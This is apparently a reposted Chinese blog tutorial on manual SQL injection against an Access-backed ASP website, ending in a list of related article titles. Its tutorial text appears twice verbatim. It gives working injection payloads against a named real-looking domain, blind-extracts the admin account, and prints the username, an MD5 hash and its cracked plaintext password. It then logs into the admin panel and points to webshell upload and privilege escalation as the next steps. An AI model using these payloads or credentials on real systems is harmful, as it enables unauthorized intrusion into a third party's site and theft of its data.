2012最新网站手工注入详解教程
来源:互联网 发布:云计算应用的发展方向 编辑:程序博客网 时间:2024/04/30 16:06
想起 苦学技术的梯子真是感慨万千,别人在背英语句子,而卧却在背数据库语句,同样都是英文 ,可为啥咱英语成绩还是不及格--
言归正传,现在sql注入工具可谓层出不穷,但是工具毕竟都是人写的,总会有不合适的地方,所以学会手工注入还是很重要的,今天的教程就给大家说说手工注入,新手一起来看,老鸟直接飞过好了。
动态脚本语言(例 asp php aspx jsp等),总会与数据库关联,带入相应的变量来查询指定数据,当这种查询被我们控制时,也就形成了注入
比如下面这个链接
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235
很正常的URL,提交这个URL,假设服务器进行像select * from news id=''ID的查询语句(news为表名,ID是提交的参数),如果我们提交select * from news id=1235 and user>0这样的语句,肯定是无法执行 ,就会报错并给与相应的错误提示
下面我们来看下 看到了 爆错了吧
接下来就是实战了,判断是否是注入的,可以再参数后面加一个单引号',如果是注入的,把语句带入数据库之后,语句中的单引号没有闭合,程序就会报错,根据报错的信息可以判断数据库类型,本次教程讲述acess注入,返回的信息有ODBC Microsoft Access Driver 这个时,就可以判定为acess数据库。
注意一下,也可以用分号;或者--来让目标报错,这两个分别是mssql中的分离语句和注释语句的符号,在acess中会因为语句不通报错,当然,输入的时候必须要在中文状态下哈
以上是符号判断,还可以用经典的 and 1=1 and 1=2注意一下 and的前面有个空格,通过这样的构造来报错,and在逻辑语言为 和 的意思,前后两语句,都为正确,则为真,返回正常,and前后有一个错,则为假,就会报错
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235%20and%201=1 返回正常
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235 and 1=2 报错了
如果遇到参数像id=hacker这样的非数字,我们称之为字符型注入,这时候我们就用前面所说的去试,结果你会发现不行的,因为字符串类型不像数字型直接取之,需要用单引号包含起来,让他报错 'and' '1'=1
'and' '1'=2 这样的
这里没有准备字符串的,不做详细演示了,试了下数字的用这样不行哈
教程继续.......
接下来我们猜解表段数据,提交 and exists (select * from admin)返回正常,证明存在admin这个表段,提交 and exists (select * from admin1)报错了,就证明不存在admin1这个表段
为了让大家更明白,我解释下每句的意思
exists()作用是:如果是返回结果集,就为真,否则为假
*是通配符,代表任意字符,即表示存在数据
select * from admin表示:在admin表段中存在数据 ,即可知道有无admin表段,这个直接决定了exists()真假,就可以作出相应的判断了
所以平时要多搜集些常用的表名,像我们在入侵是时候,一般都是找后台,因为权限。我们继续猜解admin下的字段
把*替换为count(username)
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235 and exists (select count(username) from admin)
刚才填写的出了点问题,菜鸟哈,见谅。返回了正常页面,说明username字段存在
提交 and exists (select count(username1) from admin)返回错误,说明username1字段不存在
解释下
count():返回指定的条件行数,存在字段,返回1,exists()为真,返回正常页面。不存在字段,返回0,程序报错。
接着判断数据长度,用到如下语句:
and (select top 1 len(username)from admin)>12
返回正常,则代表username第一行长度大于12
and (select top 1 len(username)from admin)>13
返回错误,就代表username第一行长度不大于13,即小于等于。
所以可以通过更改后面的数字确定长度
and (select top 1 len(username)from admin)>数字
被叫成username第一行长度即为13
解释下
len()这个函数是判断数据长度
top 1表示第一行内容,同理猜解第二行 即top 2
接下来就是判断内容了,我们用 mid(列名,n,1)来截取第n位字符,再用asc()函数转化为ASCII码
and (select top 1 asc(mid(username,1,1))from admin)>97
提交这样的信息,返回错误,就代表第一位ASCII码小于等于97
and (select top 1 asc(mid(username,1,1))from admin)>96
提交这样的信息,返回正确,就代表第一位ASCII码大于96
教程中网站的ASCII码即97
再用ascii转换工具把ASCII码转换为字符 抱歉工具有问题,我汗 没准备好 稍等
教程继续 ASCII 97 转换 >> a
这里97转化为a,即第一位是a。
同理判断出后面的字符
and (select top 1 asc(mid(username,2,1))from admin)>97
根据操作我们判断出来了
ASCII 100 转换 >> d
接下来的我就不一一操作了 我这里已经猜解好了整个字段 的第一行
我有找了下 发现了password表段 这里保存的是密码,接下来就是找后台了
[password] : 01624cf92e696e77
[username] : administrator
01624cf92e696e77对于这样的密码有的朋友可能会直接去登陆后台,发现密码错误,实际上是使用了一种叫做MD5加密的方式,由于是不可逆的(具体自己百度),我们只能选择暴力破解或者去相关的网站查询,当然,如果管理员太BT,哪里都弄不到的,就要自己另辟蹊径了
我这里推荐三个MD5解密网站
www.cmd5.com
www.md5.org.cn
www.md5.com.cn
查到了明文
Md5:01624cf92e696e77
Result: zxtx007
我们在弄出后台 我这里用的明小子,其实怎么弄都差不多....出来后台就可以
http://www.tri-cel.com/admin/index.asp
这个就是后台登陆的页面了 我们用刚才注入得到的东西登陆下
登陆成功
接下来的就是拿webshell和提权
言归正传,现在sql注入工具可谓层出不穷,但是工具毕竟都是人写的,总会有不合适的地方,所以学会手工注入还是很重要的,今天的教程就给大家说说手工注入,新手一起来看,老鸟直接飞过好了。
动态脚本语言(例 asp php aspx jsp等),总会与数据库关联,带入相应的变量来查询指定数据,当这种查询被我们控制时,也就形成了注入
比如下面这个链接
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235
很正常的URL,提交这个URL,假设服务器进行像select * from news id=''ID的查询语句(news为表名,ID是提交的参数),如果我们提交select * from news id=1235 and user>0这样的语句,肯定是无法执行 ,就会报错并给与相应的错误提示
下面我们来看下 看到了 爆错了吧
接下来就是实战了,判断是否是注入的,可以再参数后面加一个单引号',如果是注入的,把语句带入数据库之后,语句中的单引号没有闭合,程序就会报错,根据报错的信息可以判断数据库类型,本次教程讲述acess注入,返回的信息有ODBC Microsoft Access Driver 这个时,就可以判定为acess数据库。
注意一下,也可以用分号;或者--来让目标报错,这两个分别是mssql中的分离语句和注释语句的符号,在acess中会因为语句不通报错,当然,输入的时候必须要在中文状态下哈
以上是符号判断,还可以用经典的 and 1=1 and 1=2注意一下 and的前面有个空格,通过这样的构造来报错,and在逻辑语言为 和 的意思,前后两语句,都为正确,则为真,返回正常,and前后有一个错,则为假,就会报错
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235%20and%201=1 返回正常
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235 and 1=2 报错了
如果遇到参数像id=hacker这样的非数字,我们称之为字符型注入,这时候我们就用前面所说的去试,结果你会发现不行的,因为字符串类型不像数字型直接取之,需要用单引号包含起来,让他报错 'and' '1'=1
'and' '1'=2 这样的
这里没有准备字符串的,不做详细演示了,试了下数字的用这样不行哈
教程继续.......
接下来我们猜解表段数据,提交 and exists (select * from admin)返回正常,证明存在admin这个表段,提交 and exists (select * from admin1)报错了,就证明不存在admin1这个表段
为了让大家更明白,我解释下每句的意思
exists()作用是:如果是返回结果集,就为真,否则为假
*是通配符,代表任意字符,即表示存在数据
select * from admin表示:在admin表段中存在数据 ,即可知道有无admin表段,这个直接决定了exists()真假,就可以作出相应的判断了
所以平时要多搜集些常用的表名,像我们在入侵是时候,一般都是找后台,因为权限。我们继续猜解admin下的字段
把*替换为count(username)
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235 and exists (select count(username) from admin)
刚才填写的出了点问题,菜鸟哈,见谅。返回了正常页面,说明username字段存在
提交 and exists (select count(username1) from admin)返回错误,说明username1字段不存在
解释下
count():返回指定的条件行数,存在字段,返回1,exists()为真,返回正常页面。不存在字段,返回0,程序报错。
接着判断数据长度,用到如下语句:
and (select top 1 len(username)from admin)>12
返回正常,则代表username第一行长度大于12
and (select top 1 len(username)from admin)>13
返回错误,就代表username第一行长度不大于13,即小于等于。
所以可以通过更改后面的数字确定长度
and (select top 1 len(username)from admin)>数字
被叫成username第一行长度即为13
解释下
len()这个函数是判断数据长度
top 1表示第一行内容,同理猜解第二行 即top 2
接下来就是判断内容了,我们用 mid(列名,n,1)来截取第n位字符,再用asc()函数转化为ASCII码
and (select top 1 asc(mid(username,1,1))from admin)>97
提交这样的信息,返回错误,就代表第一位ASCII码小于等于97
and (select top 1 asc(mid(username,1,1))from admin)>96
提交这样的信息,返回正确,就代表第一位ASCII码大于96
教程中网站的ASCII码即97
再用ascii转换工具把ASCII码转换为字符 抱歉工具有问题,我汗 没准备好 稍等
教程继续 ASCII 97 转换 >> a
这里97转化为a,即第一位是a。
同理判断出后面的字符
and (select top 1 asc(mid(username,2,1))from admin)>97
根据操作我们判断出来了
ASCII 100 转换 >> d
接下来的我就不一一操作了 我这里已经猜解好了整个字段 的第一行
我有找了下 发现了password表段 这里保存的是密码,接下来就是找后台了
[password] : 01624cf92e696e77
[username] : administrator
01624cf92e696e77对于这样的密码有的朋友可能会直接去登陆后台,发现密码错误,实际上是使用了一种叫做MD5加密的方式,由于是不可逆的(具体自己百度),我们只能选择暴力破解或者去相关的网站查询,当然,如果管理员太BT,哪里都弄不到的,就要自己另辟蹊径了
我这里推荐三个MD5解密网站
www.cmd5.com
www.md5.org.cn
www.md5.com.cn
查到了明文
Md5:01624cf92e696e77
Result: zxtx007
我们在弄出后台 我这里用的明小子,其实怎么弄都差不多....出来后台就可以
http://www.tri-cel.com/admin/index.asp
这个就是后台登陆的页面了 我们用刚才注入得到的东西登陆下
登陆成功
接下来的就是拿webshell和提权
- 2012最新网站手工注入详解教程
- 手工SQL注入教程
- 手工PHP注入详解
- 手工注入详解
- 手工注入详解
- 手工Oracle注入某足彩在线网站
- MYSQL手工注入某日本网站
- 一个不错的手工php注入教程
- SQL手工注入基础详解----MSSQL篇
- SQL手工注入基础详解---- MySQL篇
- SQL手工注入基础详解---- Access篇
- SQL手工注入基础详解---- postgresql篇
- 手工注入猜解过程详解
- 手工注入
- 手工注入
- 手工注入
- SQL注入教程详解
- 黑客注入之手工注入
- New cache mode for BI 7.0 without directory
- C#连接MongoDB数据库应用实战
- cocos2d-x 多个child可以共一个tag
- 初学Android,图形图像之使用双缓冲画图(二十七)
- The Internet Archive
- 2012最新网站手工注入详解教程
- Utf-8编码是如何工作的
- How to schedule the thread's priority?
- 面试,面的不只是求职者
- VirtualBox安装 系统vdi压缩
- 程序员面试100题(算法)之C/C++实现字符串复制
- QTP 11 破解
- Pear 安装注意事项
- C语言病毒